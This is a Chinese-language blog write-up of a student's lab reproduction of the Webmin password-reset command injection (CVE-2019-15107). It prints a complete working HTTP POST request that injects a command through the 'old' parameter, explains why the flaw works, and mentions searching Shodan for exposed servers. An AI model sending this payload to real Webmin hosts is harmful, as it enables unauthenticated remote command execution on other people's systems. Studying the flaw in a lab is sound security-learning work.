Webmin-RCE(CVE-2019-15107)

前言

学习linux运维的应该很熟悉webmin,本人学校最近刚开始上这个课也需要用到webmin,既然碰到这个当然不能放过想着把漏洞复现一下


Webmin 远程命令执行漏洞(CVE-2019-15107)

webmin工具介绍

  • webmin是一个基于web的系统管理界面。借助任何支持表格和表单的浏览器,你就可以设置用户账号、DNS、apache、文件共享等。webmin包括一个简单的web服务器和许多cgi程序,这些程序可以直接修改系统文件,比如/etc/inetd.conf和/etc/passwd。web服务器和所有的cgi程序都是Perl5编写的,没有使用任何非标准的Perl模块,也就是说,webmin是一个用Perl语言写的、可以通过浏览器管理Linux软件。

Webmin是一个用于管理类Unix系统的管理配置工具,其默认端口是10000,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

漏洞复现

进入环境访问your-ip:10000会显示,This web server is running in SSL mode. Try the URL https://c16949cecfbd:10000/ instead.

Webmin-RCE(CVE-2019-15107)_第1张图片

需要进入配置文件/etc/webmin/miniserv.conf中将ssl设置为0,就能正常访问了

根据文件中提示发送发送如下数据包,即可执行命令id

POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

如图,浏览器返回内容中显示了id命令执行的结果。

Webmin-RCE(CVE-2019-15107)_第2张图片

这里是利用密码重置功能发生了缺陷,对用户输入未进行过滤,通过管道符实现命令执行

ps:只有在发送的user参数的值不是已知Linux用户的情况下,才会进入到修改/etc/shadow的地方,触发命令注入漏洞。

漏洞复现完成后去shodan瞧了瞧

Webmin-RCE(CVE-2019-15107)_第3张图片
之前对webmin不了解,我觉得现在应该去熟悉一下webmin了。。。

你可能感兴趣的:(漏洞复现)